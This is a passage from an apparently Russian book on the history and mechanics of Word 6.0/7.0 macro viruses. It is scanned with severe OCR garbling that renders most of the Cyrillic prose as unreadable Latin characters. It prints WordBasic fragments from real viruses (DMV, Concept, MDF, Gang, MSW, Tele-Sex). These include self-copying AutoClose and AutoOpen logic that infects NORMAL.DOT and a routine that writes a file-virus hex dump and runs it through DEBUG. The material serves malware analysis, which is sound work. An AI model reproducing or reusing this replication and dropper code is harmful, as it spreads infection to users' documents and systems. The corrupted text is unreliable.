Case <3HaM6Hne>

Else

End Select

I lp i iM e p  ocjaopM Jiem ia UHKJia c ycjioBH eM  BbinoJiHeHHa.

While <ycJiOBMe>

Wend

A  b o t  n p H M e p  UHKJia co cm cth ikom .

For <nep6MeHHan> = <HaHa/io> To <soHeu> Step <uiar>

Next
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I Ip H  n o M o m n  o n e p a T o p a  «Goto» B 03M 0acH 0 0 p ra H H 3 0 B a T b  6e3y c jio B -  

HbiH n e p e x o a  Ha y K a 3 a H H y io  MeTKy. Eme o a H a  no.TC3Haji K O H C T p y K ijH fl 

«O N » n 0 3 B 0 JM C T  MaKpocHoft n p o rp a M M e  p e a rn p o B a T b  H a  B H e u iH H e  c o 6b i-  

t h h :  H a  B O 3 H iiK H 0 B e H iie  o u ih 6o k  b  nporpaMMe; H a  H a c T y n j ie m ie  KaKoro- 
t o  M O M e H Ta B peM e H H  h  t .  n. i lp iiM e p b i:

O  «O N  Error Goto M ETKA» -  npn B 0 3 H H K H 0 B e H H H  o m H 6K H  (H a 

n p H M e p , n p i i  ziejieHHH H a  0 h j i h  nonuTKe oTKpbiTb HecymecxByio- 
m r a  (|>aHJi) n e p e fiT H  H a  y ic a 3 a H H y io  M e TK y ;

O  «O N  Error Resume Next> -  He p e a rn p o B a x t  H a  o i u h 6k h  h  n p o -  

a o jia c a Tb  B b in o jiH e H H e ;

O  « O N  T i m e  1 7 :0 0  P la y Y a n k e e  D o o d le *  -  b  5  M acoB B e n e p a  3a n y c -  

T H T b  ( h 3 « N O R M A L . D O T » )  M a K p o c , n r p a io m H H  M e jio a n io  J I h k h  

/iy/I-'ib  / le n a H .

S iia H H Te jib H a j?  n a c T b  c jio a cH b ix  o n e p a m if t  a o c T y r m a  b  B H a e  K O M a n a  h  

c jjy u K H H H  -  o h h  H M e io T T a K o fl ace CM brcjr, K a K  h  b  a p y r n x  H 3 b iK a x  n p o r p a M - 

M H p o B a H H H . C y m e c T B y r o r  c x a n a a p T H b ie  (n p e a o r ip e a e jie n H b ie ) (J jy H K iiH ii, 

b  t o  ace B peM H  n 0 Jib 3 0 B a Te jib  M oaceT co 3 a a B a x b  c b o h . I Ip H M e p u  c x a H a a p T - 

H b ix  4 > yH K U H ii:

O «Len ( < C T p o K a > ) »  -  B03BpamaeT f lj iH H y  c t p o k h ;

O  «CountMacros (< m a 6 j io H >  [, < a l l> ]  [, <global> ])» -  B03Bpama- 

eT KOJiHHecTBO M aK pocoB  b yK a3aHHOM uia6 j io n e  (0 -  NORM AL. 
DOT, 1 -  TeKymHH aoKyMenx);

Q  « M a c r o N a m e $ ( < H O M e p > ,  < m a 6.T O H > , [,  < a l l > ]  [ ,  < g l o b a l > ] ) »  -  

B 0 3 B p a m a e T  h m h  M a K p o c a , p a c n o Jio a c e H H o ro  b  y K 3 3 a H H 0 M  m a o jio - 

H e (0 -  NORMAL.DOT, 1 -  T e K y m H H  A O K y M e u x ) n o a  y K a 3aH H b iM  

H O M epO M .

Ho 60JibniHHCTB0 caoacHbix onepaipiH pea^HaoBaHbi b BHae acecTKO 
B C Tp O e H H b IX  B C H H TaK C H C  H3MKa KOMaHfl. Co6cTBeHHO TO B O p H , H aJIH H H e 

6o;ibm oro K o jiiin e c T B a  KOManu, opHeHTHpoBaHHbix Ha Ty i m h  HHyro npo- 
rpaMMHO-annapaTHyio naaT<J)opMy a m  Ha KOHKperayio npo6;ieMHyio 
o6.nacTb, -  xapaKTepiian oco6eHHocTb aio6oro anaaeKTa H3biKa Basic, ae- 
aaromasi a r a  a n a a e K T h i H e T o jib K o  HecoBMecTHMHMH, h o  h  BHemHe Heno- 
xoaaiMH apyr Ha apyra. IlpHMepbi KOMaHa H3bnca WordBasic:

O « Insert <c'TpoKa>» -  BcxaBaaex yKa3aHHyio CTpoKy b xy to'ikv ao- 
KyMeHTa, rae HaxoaHTca Kypcop;

O  «DisableAuto Macros <(f)jiar>» -  pa3pemaeT nan 3anpemaeT b w - 

noJineHHe aBTOManiHecKHX MaKpocoB b 33Bhchmocth ox 3HaMeHHH 
cjyiara (0 n a n  1 ) ;

O «FileSaveAs .Name=<HMH> [.. Forma t= < c | > o p M a x > ]»  -  c o x p a n n -  

ex T e K y m H H  a o K y M e m  b (fiafla  c y ic a 3 a H H H M  h m c h c m  b yK a 3 3 H H O M
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(JjopMaTe ( 0  -  o 6m h h m h  aoKyweHT, 1 -  ma6;ioH, 2  -  tckct, 3  -  

TeKCT C KOHUaMH CTpOK, 4 -  TeKCT DOS, 5 -  TeKCT DOS C KOHHaMH 
CTpoK, 6 -  AoicyMeHT b 4>opMaTe RTF).

H e K O T O p b ie  K O M a n a u  h m c io t  « 6j iH 3H e u o B »  c p e ^ H  C T a n a a p T H b ix  (J jy H K - 

i ih h ,  HanpiiMep KOMaH.ua «MsgBox < e r p o K a > »  jie Jia e T  t o  ace caMoe, h t o  h  

(jjy H K U H H  « M sgBox ( < C T p O K a > ) » .

OneHb BaacHa ana noHHMamiH ycTpoficTBa BHpycoB KOMaHfla Macro- 
Copy. OroiiueM ee noapo6Ho: « Macro Copy <[LUa6jionl:] Maicpol$>, 
< [ I I I a 6j i0H 2 : ]  M a K p o 2 $ >  [ , < r i p H 3H a K L L lH 4> p o B a H H « > ]» .

3 T a  KOM aH/ia B b in o j in a e T  K o n n p o B a H H e  M a K p o c a  < M a K p o l $ >  H3 o a -  

H o ro  u ia 6j io H a  b  a p y r o i i ,  n p H C B a H B a a  e M y  h m h  < M a K p o 2 $ > .  M m c h h o  H a 

p a 6o T e  3 T 0 H  K O M a H flb l OCHOBaHO CB0H C TB 0 C a M O p a 3 M H O * e H H H  M a K p O B H -

pycoB b MS Word 6.0/7.0. Ecjih napaMeTp <ripn3HaKllIn(|3poBaHH}i> 
n p i i c j T C T B y e T  h  o h  H e H y jie B O H , t o  C K o n n p o B a H H b iii MaKpoc H e  6y/ie T n o c 

jie  K o n n p o B a H n a  a o c T y n e H  ajim  p e a a K T H p o B a H H H .

C a M b ii i  n e p B M H  b i i c T o p i m  M a K p o B H p y c  Word.Macro.DMV 6 h ji H a - 

m ic a H  H e K H M  / Ijk o c jio m  M a K H a M a p o ii  b AeKa6p e  1 9 9 4  r. h  0n y 6jn iK 0B aH  

B B H fle  HCXO/tHOrO Te K C T a  113 7 2  C TpO K , 4 0  113 K O TO p b IX  npe/lCTaBJIH.flH c o - 

6o ii  K O M M e H T a p iin , a e m e  7  -  KO M aH Abi MsgBox, O T o 6pa>Kaiom H e T p a c c y  

B b in o JiH e H iiH  pa3 JiH M H b ix  H a c T e ii B H p y c a . I l o  c jio B a M  c a M o ro  aBTopa: 

...The purpose of this code is to reveal a significant security risk in 
software that supports macro languages with auto-loading capa
bilities. Current virus detection tools are currently not capable of 
detecting this type of virus, and most users are blissfully unaware 
that threats can come from documents. (...H a 3HaveHue sroro ko- 
txa -  BbinBMTb BaxHyio yrp o3y3a ^u re  nporpaMM, noonepxmaiowMX  
MaKpoft3tJKU c B03M0)KH0CTbi0 aBT03arpy3KM. CoBpeMeHHbie cpefl- 
CTBa o6napy)KeHm a HacToamee BpeMa He cnocodHbi Mereicruipo- 
B3Tb 3TOT TUn BUpyCOB, a 60flbUJMHCTB0 n0Jlb30BaTe/iefi COBepUjeH- 
ho He n0A03peBai0T 06 yrpo3ax, Koropue Moryr npunecru c codovt 
AOKyMeHTbi).

Bot nacTb hcxo/ihoto TeKCTa BHpyca Word.Macro.DMV (aBTopcKHe 
KOMMeHTapHH, C T p o K ii  c M sgBox h 4>parMeHTbi, He Ba»CHbie iy ia  noHHMa- 
hhh aJiropHTMa, yziajieHbi).

REM joelm@eskimo.com, December 17, 1994
REM -------------------------------------------- -------- ---------------------------
Sub MAIN

to ta l  = CountMacros(O) 
present = 0

'KomwecTBo MaKpocoB b NORMAL.DOT

mailto:joelm@eskimo.com
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I f  to t a l  > 0 Then ’ Ecjim MaKpocw e NORMAL.DOT ecTb, to . . .
For cycle = 1 To to ta l  ' . . . b ywuie HCKaTb cpeftu hhx..
I f  MacroNa»e$(cycle, 0) = "AutoClose" Then ' . . .  mskpoc c m m m  AutoClose

present = 1 
End I f  
End I f
a$ = WindowNane$() «■ AutoClose
I f  present <> 1 Then 
MacroCopy a$, "G lobal:AutoClose"

Else

present ■= 0
I f  CountHacros(l) <> 0 Then

aresent = 1 
End I f
I f  present = 0 Then 
FileSaveAs . Fo r*a t = 1

MacroCopy ”G lobal:AutoC lose", a$

End I f  
End I f

End Sub

H e o 6xo flH M O  a a T b  H e K0T 0p b ie  n o H c n e n H H  k  s T O M y  T e K c ry .

Bwpyc co c to h t H3 e/iHHCTBCHHoro Manpoca «AutoClose», aBTOMaTH- 
MecKH CTapTyiomero b momcht coxpaHem ra TeKymero peaaKTiipyeMoro 
flOKyMeirra. IIpH  noMomn CTanaapxHOH cJjyHKUHH «CountMacros» BHpyc 
onpefleflaeT KOJimecTBo MaKpocoB b ma6jioHe «NORMAL.DOT» n b 
TeKymeM flOKy.MeHTe. E c im  \iaKpoc c HMeHeM «AutoClose» oTcyrcTBy- 
eT b TeKymeM flOKyMeirre, to  oh KonnpyeTca Ty/ta H3 «NORMAL.DOT». 
H Hao6opoT, ecjiH MaKpoc OTCyTCTByeT b «NORMAL.DOT», to  oh ko- 
niipyercH H3 TeKymero ^OKyMeHTa. IloJiHoe hmh MaKpoca, Heo6xoflHMoe 
ansi o6H apy*eH H H  h  KonHpoBanna, HMeeT Bita «<IIIa6ji0H>: AutoClose*. 
Ill a 6 ji  oh «NORMAL.DOT» b aMepHKaHCKoft BepcHH MS Word 6.0/7.0 
Bcer.ua HMeeT npe/ionpe/iejieHHoe iimh «GLOBAL». Hma TeKymero flOKy- 
MeHTa BHpyc oiipeae.rtHeT, «CBopoBaB» npn noMomu craHflapTHOH <£vhk- 
UHH «WindowName$» 3ar0Ji0B0K oKHa. Iloc.ie oKomaHHH 3apa>KeHHH 
Heo6xOflHMO BCe-TaKH He 3a6bITb COXpaHHTb TeKJOUHH AOKVMeHT, H BHpyc 
AeiiaeT 3to, ycTSHOBHB 3a0flH0 h u h  H e ro  ctwiaacoK «ma6ji0H0B0cra» npn 
noMomn CTaH/iapTHOH KOMaHflH ^FileSaveAs .Format=l».

'CipopMMpoeaTb mn paSoTaeiiiero MaKpoca 
'Ecjim  MaKpocoe b NORMAL.DOT h b t,  t o . . .  

' ,  3apa3HTb NORMAL.DOT

’Ectm MaKpocoe b AOKyMenre Her, to . .
' . . .COXpaHHTb flOKVMeHT K3K UiaSilOH M. .

' ... sapasnTb ero MaKpocot-i, b3«itim m . 
.NORMAL.DOT
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H u x e p e c H O , h to  t c k c t ,  n p H B e A e H H b ift B b n iie , C Kopee B c e ro , He 6y ^ e T  

o n o 3H a H  aHTHBiipycaMii KaK Word.Macro.DMV. Zl,ejio b  t o m , h t o  BHyTpH 

/[OKyMefiTa xpaiiHTCfl hm chho .aaKoanpoBanHbiii «h c x o a h h k »  -  co bccmh 

n p H c y m H M H  e M y  n y c T b iM H  C Tp o K a M H , «JieceHKaM H>>. K O M M e H Ta p H H M H  h  

t. n . A  b  npHBe^enHOM (|>parM eHTe oh h  y yia jie H b i. H  a H T H B n p y c H , J i e t i -  

CTByioimie n o  cnrHaTypHOMy n p H H in a n y , He c y \ ie ro T  iip a B H Jib H O  ono3HaTb 

Aaace co B c e M  H y T b -n y r b  «noAnopH eH H H ii» B H p y c . T a K  h to  4>aKTH HecKH  

n p iiB e a e H H b iH  B birne  t c k c t  n p H H a A Jie a cH T C0B e p m e H H 0 H O B O M y  B H p y c y , 

K O TO p b lft n p il lIU IO C b  H CBOJIbHO C03flaTb B XipOUeCCe HanHCaHHH K H Iir il .. .  

B n p o H C M , H M eH H O  n o a x o M y  b  H eM  c n e n H a A b H o  A o n y m e H a  O AH a M e jiK a a  

oniH6Ka, A e jia ro m a n  e ro  H e p a 6o T o c n o c o 6HbiM . X o T H T e  -  n c rrp a B JiH H Te , ho  

a B T o p o M  B H p y c a  b stom  c jiy n a e  o y A e x e  cviH xaTb cfl hmchho b h .
JXo c h x  n o p  B H p y c  Word.Macro.DMV He c jih u ik o m  H 3B e c Te H . O h h h -  

K o ra a  He 6b m  b  « a h k o h  n p iip o A e *  h  H e B H 3 H B a Ji s iiH A e M H H . / [a  h  K aK  

M oacex p a c n p o c T p a H H T b C H  o t  K O M n b iO Te p a  k  K O M n b K x re p y  «3 a p a 3 a » . b  

n p o n e c c c  p a o o x b i K O To p o ft no.7 ib30B aTejno T p e 6y e T C «  ce M b  pa3 npoHH- 
T a T b  c o o 6m e n H H  rana « M a K p o B H p y c  yace n o M e m e H  b NO RM AL.DO T*  
H ceM b p a 3  «K.rIHKHyTb> M H IU K O H  n o  K H O n K e  «O K »?

B n p o n e M , cneuHa.racxH-TO AOJiacHH 6biJin  o T p e a r a p o B a T b  Ha noHB.ne- 
HHe HOBOrO BHAa BHpVCHOH JTp03bI. H o  OHH 3 T O rO  He CAe./iajIH, H a jlS l  HHX 
cxa.xa HacTOHiuHM uiokom r^o6a;ibHaa ,3nnAeMna MaKpoBHpyca Word. 
Macro.Concept (oh ace Prank, oh ace Bloodhound), pa3pa3HBiuaflCH jie- 
tom 1995 roAa.

B HeKOTOpblX HCTOpHHeCKHX 0630paX 3T0T BHpyc H33HBaiOT «nepBbiM 
B HCTOpHIl MaKpOBHpyCOM .̂ K0HeHH0 ace 3T0 He TaK. Ho «HCTOpHHeCKHX 
3acAyr» y Word.Macro.Concept h 6e3 to to  xBaTaeT: oh BH3Baji nepBvio 
b MHpe MaKpoBHpycHyio anHAeMHio, h  3Ta aniiAeMita 6biJia caMoft Kpyn- 
HOH. ila  H B006me, HCTOpUK) oopbobl c MaKpOBIipycaMH CTOHT H3HHH3Tb 
AeHCTBHTejibHO c Hero.

Bo MHoroM Word.Macro.Concept npeACTaBJi«;i co6oh pa3BHTHe 
HAefi, o6HapoAOBaHHHX b Word.Macro.DMV. Oh coctohji H3 MaKpo
coB «AAA ZAO », «AAAZFS», «  Payload* h neTBepToro -  «aBxoMaxii- 
necKoro» -  MaKpoca, Koxopnii b AOKyMeHTax Ha3biBaAca «  AutoOpen* 
(h HBJiiuicsi KonHen «A A A ZA O »), a b mao.>ioHe «NO R M AL.DO T» -  
«FileSaveAs» (h hbjihach KonneH «AAAZFS»).

TaKHM 06pa30M, ccjih BHpyc cTapTOBaA H3 3apaaceHHoro (J ia iia , to 
cpa3y ace aKTHBiipoBajicH h 3apaacaA «NORM AL.DOT». Ecah ace oh 3a- 
rpyacaACH b BHpxyaAbHyio MauiHHy H3 3apaaceHHoro paHee raooajibHoro 
ma6AOHa «NO R M  A L .D O T to aKTHBHOcTb npoHBJiaji xojimco bo BpeMa 
coxpaHeHHH AOKyMeHTOB, Konnpyfl b hhx cboh MaKpocu.
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flO Kyw eH T NORMAL.DOT
| AutoOpen

I AAAZAO

PayLoad

Phc. 5.1 ❖  CxeMa cooTBeTCTBMH MaKpocoB 
b floicyMeHTe m waS/ione Bupyca Concept

B o t  (JjparM eHT M aK p oca «AAAZAO».

iMacroCount = CountMacros^O, 0)
For i  = 1 To IMaoroCount 

I f  KacroName$(i, 0, 0) = "Payload" Then 
^ In s ta lle d  = -  1 

End I f
I f  MacroNaaeKi, 0, C) = "FileSaveAs" Then

bTooMuchTrouble = -  1 
End I f  

Next i
I f  Not blnstalled And Not DTooMuofiTrouble Then

sMe$ = FileName$0 
sMacro$ = sMe$ + Payload"
MacroCopy sMacro$, 'Global:PayLoad

End I f

H eo(})n m iaJ ib H o  CHHTaeTCH, h to  BH pyc Word.Macro.Concept 6 biJi 

HanHcaH h «B b in y m en  b c b c t »  oahhm H3 C0 TpyflHHK 0 B (f)npM bi Microsoft. 
Okojio M ecau a BH pyc ocraB a jica  HesaMeneHHbiM, nepecKaKHBan c icoMnbio- 

T epa  Ha KOMnbiOTep, H3 oc|)Hca b 0(J>hc, noTHXOHbKy p a cn o jrea jic a  no njia- 
HeTe, noK a HaKOHeix He 6hji o 6 HapyaceH npaKTH 'iecKH  n oB ceM ecrao . Ca- 
MblM HenpHflTHbIM  6 bIJIO TO, MTO He CJTIieCTBOBcUXO 6 bICTptIX H HaflOKHblX 

cnoco6oB noHCKa h  yflajieHHH BH pyca, Be/ib Microsoft CHHTa.na (jw p M ar 

DOC-tJjaH.'ia cbohm cjiyacefjHbiM  ceKpeTOM. Ehjiji Tchtc h  K ” m  n o c jie a -  

H ero  nbiTa.iHCb H e BbmocHTh c o p  H3 H36w h  coxpaHHTb necTb  MyHflHpa: 

0TK33bIBaJIHCb KOMM6HTHpOBaTb CJiyXH 0 B03M05KH0M aBTOpe BHpyca, 
BCHHecKH npHHHaca.ra aKTyajibHOCTb yrpo3b i, H e cneiiiH Jiii fleJiHTbca c  bh- 
pycojioraMH (JiopMaTaMH DOC-cJkihjiob h t. n.

Cennac s t o  Bb irjia iiH T Kypbe.'mo, h o  b KOHue JieTa 1995 r. M icrosoft 

p aap aooT a jia  n  npeflJioacK.ua KOMribKxrepHOH 06mecTBeHH0crH b KanecTBe 

«n a H a n e ii»  o t  MaKpoBHpycoB uia6ji0H « SC AN 831 .DOC*, KOTopbiH npefl- 
cxaBJiHJi c o 6 o h  flOKyMeHT b 4>opMaTe MS W ord  6.0/7.0, peKJiaMHpyiomHH

• Bssrrb mms TeKymero AOKyweHia 
' C0OpMHDO8aTb MMfl M3Kp0Ca 
' M KonnposaTb ero e NORMAL.DOT

' KojumecTBO MaKpocoB b NORMAL.DOT 
' UMKJl no BC0M M8K,pocaM 
' Ec/im npMOyTCTByeT 'PayLoad', t o . . 
' . .  NORMAL.DOT yxe aapaxen

' Ecm npucyTOTB'/eT 'F ileS aveA S ', t o . .  

' . . .  B03M0*eH f lp y ro B  enpyc

' K oH eu unKJia

' ECJIM NORMAL.DOT mm ct . t o . . .
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caM ce 6 a  ii coaepacamiiH anTHBHpycHbifi MaKpoc «AutoOpen». 3 t o t  

MaKpoc cpeacTBaMH H3bma WordBasic CKaHHpoBaji «NORMAL.DOT*• 
h  Bee 3arpy»ceHHbie b  MS Word aoKyMeHTbi Ha hsjihhhc b  hh x  BHpyc- 
H bix M aK pocoB  (pacno3H aBaa h x  n o  H M eHaM ), a n0T0M  y a a jihji «3 a p a 3 y » .  

FIpeflnOJIOaCHM, BaM npHHCCJIH flHCKeTy C COTHeil AOKY'MeHTOB. CKOJIbKO 

BpeM eHH 3aHMeT h x  CKaHHpoBaHHe h JieneHHe, B b ino jiH aeM bie  c n oM om b io  

«SCAN831.DOC» -  t o  ecTb (JjaKTiraecKH B pyH H yio?  K p o M e  Toro , yace  

oceH b io  1995 r. Ha cbc t noxBii.ncx h iiono jre  n o  M H p y  M aK poBH pyc Word. 
Macro.Nuclear, iiaiiHcaHHijii « n o  m othb3m » Word.Macro.Concept. 
A BCKope nocJieaoB ajiH  B H pycb i Word.Macro.FormatC, Word.Macro. 
Hot, Word. Macro.Colors h  npo>m e. K KOHuy 1995 r. yace HacHHTbiBa- 

jiocb 6 o jie e  noJiy/uoacHHbi MaKpoBHpycoB, Bbi3BaBiiiHX 6 o jie e  hjih M eH ee  

o6u iH pH bie  anH ^eM H H . H e y x c e jm  /urn K aac^oro  BHpyca hvjkho 6biJio pa3- 
pa6aTbiBaTb cboh  «ScanXXX.DOC»?

P a 3y M e e T c a , B u p y c o j io r n  p a 3o 6p a jiH C b  b (J jo p M a Te  D O C - ^ a i u i a  hh cto  

X a K e p C K H M H  MeTO/iaMH -  n p H  nOMOUJH OT.fia/IMHKOB H flH3acceM6jiepoB. 
H  aHTHBHpych, HanpaMyio CKaHHpyioiuHe aoKyMenTbi h y fla jw iom H e H3 

h h x  caMopa3MHO>KaiomHecjr MaKpocbi, noHBium cb y ;*e  k  HanaJiy 1996 r. 
Ho cnpaBeji.TiiiBOCTH pa/tH c jie n y e T  npH3HaTb, h to  noaooHbift n o «x o a  

H H o r ^ a  n p iiB O A H Ji k a o c a flH b iM  np o K O Jia M . H a n p H M e p , o a h h  H3 «Jiaypea- 

t o b »  1996-1997 roflOB -  BHpyc Word.Macro.Cap -  nojiyHHJi oneHb u ih - 
poKoe pacnpocTpaHeHHe bo BceM MHpe bo  mhotom «6 jia r o a a p » »  TOMy, h to  

H e Bee Kpyim bie aHTHBHpycbi KoppeKrao o 6p a 6a Tb iB a jiH  B H jT p e H m o io  

CTpyKTypy DOC-(f>aHJia h  no.9To.My nponycKajiH  He6ojibiuoH nponeHT 3a- 
p aJK eH H M X  flOKVMeHTOB.

Bcero bo BTopon nojiOBHHe 1990-x ronoB 6m jio nanncaHO h Bbinyme- 
ho b  ^aHKyio npnpoziy*- HecKOJibKO th c h h  MaKpoBHpycoB jy ix  MS W ord 
6.0/7.0. Han6ojiee «nonyjiHpHbiMM» (ecjin  BepHTb Joe Wells) b KOHne 
XX BeKa 6 h jih  bo  BceM MHpe MaKpoBHpycbi Word.Macro. Wazzu, Word. 
Macro.Cap, Word.Macro.Npad, Word.Macro.MDMA h ap. BojibiiiHH- 
ctbo  H3 h h x  flBJMJiHCb BapHaoHHMH Ha TeMy Word.Macro.DMV h  Word. 
Macro.Concept. Hnace m u  onnmeM HeKOTOpbie o tk jiohchhh  o t  3Toro 

4 C T a n a a p T a » .

5 .1J2 .1 . I Ip o 6 jie M a  *J ioK a n u 3 a u ,u u *

IIlHpoKoe pacnpocTpaHeHHe nojiyHHjm TaK Ha3biBaeMbie «JioKajni- 
30BaHHbie» BepcHH M S  W ord: «pycH<J>HqHpoBaHHbie», «ncnaHH3Hpo- 
BaHHbie», «anoHH3HpoBaHHbie» h ap. JloKajiH3amiH noapa3yMeBaeT He 
TOJIbKO nepeBOA CHCTeMHbIX C006meHHH H nyHKTOB MeHIO Ha COOTBeT- 
CTByioimiH si3biK, h o  h no/mac nepeHMeHOBaHHe craH/iapTHbix hmch,
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KJiioHeBbix cjiob HT.n. B KaHecTBe npHMepa npHBeaeM pa/[ tskiix «chho- 
hhmob» (cm. Ta6ji. 5.1).

Ta6ntma 5.1. IlMeHa MaxpocoB 
b  «H aL (H O H an bH btx»  B e p c H n x  M S Word

Mmsi MaKpoca fl3blK Mm d  MaKpoca SISbIK

RleNew AHrnnCicKMPi RleNuovo MTa/lbflHCKUfi

RlerNyt flaTCKuPt RcheiroNovo nopryra/ibCKMCi

BestandNieuw [OJIJiaHflCKMfl ArchivoNuevo McnaHCKMM

TiedostoUusi ArkivNytt IllBeflCKMM

RchierNouveau <J)paHuy3CKMiS ArquivoNovo Bpa3V«lbCKMft

DateiNeu HeMeuKuPi

EcTb eme 0,aH0 BaacHoe pa3,'iHMne: npeflonpefle.ieHHoe BHyrpeHHee ii.wi 
maojioHa «NORMAL.DOT» ;ij\h aMepHKancicoH Bepcmi MS Word ecTb 
«  GLOBAL*, a jijix nam>eBponeHCKHX (Koropbie h nocjty>KHjm ochoboh 
luia pa.'niiMHbix jioKajmaanHH. b tom MHCJie 11 jirh «pycH(J)iiKamiH*) -  
«NORMAL». Bot 4>parMeHT BHpyca Word. Macro. M IF, KOTopbiH ao- 
B0JibH0 jiobko o6ecneHHBaji cboki pa6oTOcnoco6HocTb b pa3JiHHHbix pa3- 
H 0 B H flH 0 CTHX MS Word:
MacAndTmpIS = Name$ + " : FileSave"
MacAndTmp2S = Name$ * AutoOpen”
'On E rro r Goto MyTrap '
'MacroCopy MacAndT*pi$ "G lobal.F ileSave 
MacroCopy MacAndTmp2$ "G lo b a l:M tf l"

'MyT rap:

MacroCopy HacAndTap1$ “ Normal:FileSave"
MacroCopy MacAndTnp2$ "Normal: M tf l"

5.12.2. Axmueamul 6e3 ■«aemoMamunecKux MaKpocoe*
H a m e  B c e ro  n u n  a T o ro  H c n 0 . 'ib 3 0 B a jia c b  « n p H B H 3 K a »  B H p y c H t ix  M a icp o - 

c o b  k  K a K o it-H H o y / ib  K JiaB H aTypH O H  K O M 6n H auH H . « IO ia c c H H e c K H M »  c T a ji 

npH C M , H cn 0 J ib 3 0 B a H H b iH  b  B H p y c e  Word. Macro. Gang:
ToolsCustonizeKeyboard 

. KeyCode = 32, .Category = 2, . Nane = "Gangsterz", .Add, .Context = 0 
ToclsCustomizeKeyPoa rd 

■KeyCode = 69, .Category = 2, .Name = "Paradise", .Add, .Context = 1

n p H B e /ie H H b ie  K O M aH flb i c t h b h t  b  cooTBCTCTBHe K J ia B H iu e  « n p o 6 e j i»  

M a K p o c  c H M eH eM  «Gangsterz*, a ic ia B H iu e  c  6 yK B 0 H  -  M a icp o c  

^Paradise*. C K O /ibK O  p a 3  H 0 J ib 3 0 B a T e jib  TeKC TO B oro pe/iaKTopa HaacMeT

noflroTOBMTb o5pa6oTKy ouimokh 
KonnpoeaTb MaspOCbi ~nO-8MepKK8HCKM'

KonMpoeaTb MaKpocn "no-naHbeaponeiiCKM"
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3th KJiaBHiuH, ctojibko pa3 ynpaBJiemie nojiynaT BHpycHhie MaKpocbi. 
IIpHMepaMH BiipycoB, Hcno;ib3jToimix no/io6Hyio TexHHKy, hbjiototch 
Word.Macro.Stress, Word.Macro.Outlaw, Word.Macro.Grunt ii t. n.

5.12.3. Konupoeauue Maxpocoe 6e3 « MacroCopy>
HeKOTOpbie BHpycw /uih pa6oTbi c MaKpocaMH Hcnojib3yioT MeTo/iti 

KOMaHabi «Organizeri>, KOTOpbie no3Bo.raioT KonnpoBaTb MaKpocbi H3 
AOKVMeHTa b m a6jion h 06paTH0 , nepeHMeHOBbiBaTb h yaajraTb hx. B ot 
«KycoHeic» HcxoflHoro TeKCTa BHpyca Macro.Word.MSW, o6xoaHinero- 
ca 6e3 «MacroCopy»:

TeinplatePath$ = D e fa u ltD lr$ (2 )
WorkDirPathJ = D efau ltD ir$(C )
NormalPatnJ = Te.nplatePath$ + "\N orm al.do t"
C ijrre n tF ile$  = FileNarneFromWindow$()

Organizer .Copy, .Source = C urrentF ileS , .D es tin a tion  = NormalPathS, \
.Name = "F ile C lo se ", .Tap = 3

TaioKe BecbMa opHrHHaJibHbiM Bbirjia^HT rioBe/icHHe MaicpoBHpycoB 
ceMeftcTBa Word. Macro.Tiny. Co6ctbchho roBopa, Becb <J>yHKiuioHa.)i 
3THX BHpycoB 33KJIlOHeii b  eAHHCTBeHHOH cTpoH Ke BHaa «SendKeys 
,'%xk%o%k{ESC}"». 3Ta KOMan/ia «nocbuiaeT» nporpaMMe MS Word 
KOflbi h k o &h  HaacaTbix n0.xb30BaTejieM KJiaBHiu: «A lt+X » ( b h 3ob  nofl- 
MeHio «File»), «K » (Bu6op no3HUiin «Templates). «A lt+ 0 » (HaacaTHe 
k h o iik h  «Organizer»), «A lt+K » (na^Karae k h o iik h  «Copy») h  «ESC» 
(KOHeu pa6oTbi). BnponeM, b «pycH<J>HmipoBaHHbix» Bepcitax MS Word 
3t o t  Koa pa6oTaTb He 6yner, TaK KaK b h h x  Tpe6yeTca HaacHMaTb co bccm  

apyrne «rop»HHe» KJiaBHiuH.

5.12.4. 3anyac Sumpnozo Koda
MaKpoBHpycbi Taicace 6biBaiOT «MHoronjiaT(})opMeimbiMH», noc.Kojib- 

kv cnoco6Hhi c^yacHTb nepeHOCHHKaMH aBOHHHoro Ko/ia oobiHHbix npo
rpaMM -  (})aftjIOBbIX BHpycoB, «TpOHHUeB>, fleMOHCTpaUHOHHbIX pOJIHKOB 
h t. n. Bot OparMeHT hcxo/ihoto TeKCTa BHpyca Word.Macro.Tele-Sex, 
HJi.niocTpHpyiomero a iy  B03M0acH0CTb:

Open ''C :\d o s \te le fo n i.s c r '' For Output As #1 
P r in t SI, "N TELEFONI.COM”
P r in t SI, "E 0100 E9 AF 13 9F 40 01 OF D9 OA 07 0A B2 25 E8 67 C2“
P r in t  #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E AA 7E 9F”

P r in t  #1, "E 14C0 43 81 34 47 92 46 46 E2 F8 31 F6 31 C9 C3 00''
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P rin t #1, "RCX"
P r in t  #1, "13CF"
P r in t #1, "W"
P r in t  #1, "Q"
Close # '
Open ''C :\d o s \te le fo n i.b a t"  For Output As #1 
P r in t "#echo o f f "
P r in t #1 
P r in t #1 
P r in t #1 
Close # i 
ChDir "C

"debug < te le fo n i.s c r  > n u l" 
"@echo o f f "
" te le fo m . com”

\dos"
S he ll " te le fo n i.b a t" ,  0

MaKpoBHpyc W o rd .M a cro .Te le -S e x  co3aaer Ha ahckc 4>aiiJi 
« T E L E F O N I .S C R »  h 3anncbiBaeT b Hero TeKCTOBbift flaMn KJiaccHHe- 
CKoro MHoroiiJiaTcjjopMeHHoro BHpyca Telefonica, 3apa>Kaioiuero C O M - 
h EXE-cfiaHJTW, a TaKace M B R  BHHHecrepa. 3aTeM MaKpoBHpyc co3flaeT 
KOMaHflHbifi cfiaii/i « T E L E F O N I .B A T * ,  bm iiojihh ioihhh (J>opMHpoBaHHe 
flBOHMHoro o6pa3a (JmiJioBoro BHpyca h  3anycK ero. B  pea;iH3anHH k o -  
BapHbix n.TanoB MaKpoBHpyca W o rd .M a cro .Te le -S e x  aKTHBHO ynacTBy- 
eT cTaHflapTHbift 0T,ia/iMHK « D E B U G » ,  npncyTCTBjTomHH no yMOJina- 
hhio h b  M S -D O S , h b  W indows. TaKHM 06pa30M, 3arpy3HB b  M S  W ord 
AOKyMeHT, coflepacamiiH MaKpoBHpyc W o rd .M acro .Te le -S e x, MoatHo 
«3apa6oxaTb» ucjilih  6yKeT 3111111 -  «3a6ojieBaHHH, nepeflatomnxca no- 
JIOBUM n\TCM». Pa3VMeeTCH, HMeeTCH B BH/iy KOMnbHDTepHblH, a He Me/IH- 
UHHCKHH, CMblCJI 3T0TO TepMHHa.

5 . 1 2 . 5 .  0 6 e c n e n e H u e  c n e e u d u M O c m u »

